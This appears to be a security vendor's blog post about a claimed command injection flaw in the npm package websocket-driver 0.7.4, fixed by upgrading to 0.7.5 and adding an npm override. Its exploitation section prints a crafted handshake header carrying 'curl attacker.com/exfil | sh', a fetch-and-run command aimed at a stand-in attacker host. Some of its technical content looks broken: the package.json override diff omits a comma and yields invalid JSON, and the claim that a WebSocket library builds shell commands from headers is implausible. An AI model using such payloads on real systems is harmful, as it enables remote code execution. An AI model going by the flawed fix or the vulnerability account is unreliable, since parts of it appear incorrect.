Back to Blog
critical SEVERITY6 min read

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 31, 2026•Reviewed August 31, 2026

Answer Summary

CVE-2026-54466 is a critical command injection vulnerability in websocket-driver 0.7.4, a WebSocket protocol handler for Node.js applications (CWE-78). The vulnerability stems from unescaped line terminators in shell command construction, enabling arbitrary code execution when processing malicious WebSocket handshake data. The fix upgrades to websocket-driver 0.7.5 and pins the version via package.json overrides to prevent accidental downgrade.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUpgrade websocket-driver to 0.7.5 and pin via package.json overrides
riskArbitrary code execution on the server via crafted WebSocket handshake data
languageJavaScript/Node.js
root causeUnescaped line terminators in shell command construction within websocket-driver's protocol handling
vulnerabilityCommand Injection

Introduction

In a routine dependency audit, we discovered a critical command injection vulnerability lurking in package-lock.json — specifically within websocket-driver version 0.7.4. This wasn't in application code; it was buried three levels deep in the dependency tree, invisible to developers who had explicitly required it.

The websocket-driver package handles WebSocket protocol negotiation with pluggable I/O backends. When processing handshake data, version 0.7.4 constructed shell commands without properly escaping line terminators — a classic injection vector that allowed attackers to append arbitrary commands to legitimate protocol operations.

What makes this case particularly instructive: the vulnerability existed in a transitive dependency, discovered only through automated scanning, and required a two-pronged fix to ensure lasting protection.


The Vulnerability Explained

The Smoking Gun: Unescaped Line Terminators

In websocket-driver 0.7.4, the protocol handler constructs shell commands to manage WebSocket connection states. The vulnerable code path accepted handshake data containing newline characters (\n, \r) and passed them directly to shell execution without neutralization.

The vulnerable dependency declaration in package-lock.json:

"node_modules/websocket-driver": {
  "version": "0.7.4",
  "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
  "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
  "license": "Apache-2.0",
  "dependencies": {
    "http-parser-js": ">=0.5.1",
    // ...
  }
}

The integrity hash sha512-b17Ke... identifies the exact vulnerable artifact. Any application resolving this dependency — even transitively through packages like faye-websocket or sockjs — inherited this exposure.

Exploitation Scenario

Consider a Node.js application using faye-websocket for real-time features:

// Application code — seemingly innocent
const WebSocket = require('faye-websocket');
const http = require('http');

const server = http.createServer();
server.on('upgrade', (request, socket, body) => {
  if (WebSocket.isWebSocket(request)) {
    const ws = new WebSocket(request, socket, body);
    // ...
  }
});

Behind the scenes, faye-websocket depends on websocket-driver. When a malicious client sends a handshake with crafted headers containing newline sequences:

GET /chat HTTP/1.1\r\n
Host: example.com\r\n
X-Custom-Header: value\n; curl attacker.com/exfil | sh; echo \r\n
\r\n

The unescaped newline in X-Custom-Header terminates the intended command prematurely. Everything after \n becomes a new shell command. The attacker achieves remote code execution with the privileges of the Node.js process.

Real-World Impact

  • Scope: Any Node.js application with websocket-driver 0.7.4 in its dependency tree
  • Attack vector: Malformed WebSocket handshake data
  • Privileges: Same as the Node.js process (often service account with database/network access)
  • Detection difficulty: No application-level logs of the injected commands

The Fix

The remediation required coordinated changes across two files to ensure the vulnerable version could not resurface.

Change 1: package-lock.json — The Direct Upgrade

--- a/package-lock.json
+++ b/package-lock.json
@@ -23122,9 +23122,9 @@
       }
     },
     "node_modules/websocket-driver": {
-      "version": "0.7.4",
-      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
-      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "version": "0.7.5",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.5.tgz",
+      "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==",
       "license": "Apache-2.0",
       "dependencies": {
         "http-parser-js": ">=0.5.1",

Key improvements in 0.7.5:
- New integrity hash: sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA== — cryptographically distinct from the vulnerable version
- Line terminator handling: The 0.7.5 release sanitizes input containing \n, \r, and \r\n before shell command construction

Change 2: package.json — The Override Protection

--- a/package.json
+++ b/package.json
@@ -76,6 +76,7 @@
   },
   "overrides": {
     "picomatch": "^4.0.3",
+    "websocket-driver": "0.7.5"
     "shell-quote": "1.8.4"
   }
 }

The overrides field (npm 8.3+) forces all instances of websocket-driver in the dependency tree to resolve to 0.7.5, regardless of what transitive dependencies request. This prevents scenarios where:

  1. Another package specifies websocket-driver: "^0.7.4"
  2. npm's semver resolution selects 0.7.4 as satisfying ^0.7.4
  3. The vulnerability silently returns

Why Both Changes?

File Purpose Without It
package-lock.json Records actual installed version Build reproducibility lost; CI/production may install different versions
package.json overrides Enforces minimum version across entire tree Transitive dependencies can reintroduce vulnerable version

Together, they create defense in depth: the lockfile pins the immediate resolution, while overrides guarantee no path exists to the vulnerable version.


Key Takeaways

  • The websocket-driver 0.7.4 → 0.7.5 upgrade eliminates unescaped line terminator handling in WebSocket protocol negotiation — always verify the integrity hash changes when upgrading security-critical dependencies
  • npm overrides in package.json is essential for transitive dependency security — without it, semver ranges in indirect dependencies can reintroduce known-vulnerable versions
  • Lockfile-only fixes are insufficient for Node.js applications — package-lock.json pins what npm chooses to install; overrides constrains what npm can choose
  • WebSocket handshake data is attacker-controllable input — treat all HTTP headers and upgrade request parameters as untrusted, even before application-level validation
  • Automated scanning of package-lock.json catches vulnerabilities invisible to npm audit — Trivy's static analysis identified this issue through direct lockfile inspection rather than advisory database matching alone

How Orbis AppSec Detected This

Source: WebSocket handshake data entering through HTTP upgrade requests handled by websocket-driver protocol negotiation

Sink: Shell command construction in websocket-driver 0.7.4's internal protocol handling, where unescaped line terminators in handshake headers terminated command strings prematurely

Missing control: Input sanitization for \n, \r, and \r\n sequences before shell command assembly; no validation that header values contained only single-line printable characters

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Upgraded websocket-driver to version 0.7.5 and added "websocket-driver": "0.7.5" to package.json overrides to enforce this version across the entire dependency tree

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The websocket-driver vulnerability reminds us that security boundaries extend far beyond application code. A flaw in protocol handshake handling — three dependency levels deep — became a critical remote code execution vector. The fix demonstrates modern Node.js security practices: upgrade the vulnerable package, verify cryptographic integrity, and use overrides to prevent regression.

For teams maintaining real-time applications, this case underscores the value of automated dependency scanning and the power of npm's overrides feature. Security isn't just about writing safe code — it's about ensuring your entire software supply chain meets the same standards.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #56

Related Articles

critical

ffmpeg.Probe() Protocol Abuse in the GetSnapshot Thumbnailer

The local storage driver's thumbnail helpers — `GetSnapshot()` and `resizeImageToBufferWithFFmpegGo()` — handed user-controlled paths to `ffmpeg.Input()` and `ffmpeg.Probe()` with no restriction on which FFmpeg protocols those processes could open. A file that passed the existing `sanitizeFilePath` check (absolute, cleaned, regular file) could still be an HLS playlist or concat script pointing at `http://`, `subfile:` or `file:` targets, turning thumbnail generation into SSRF and arbitrary file

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.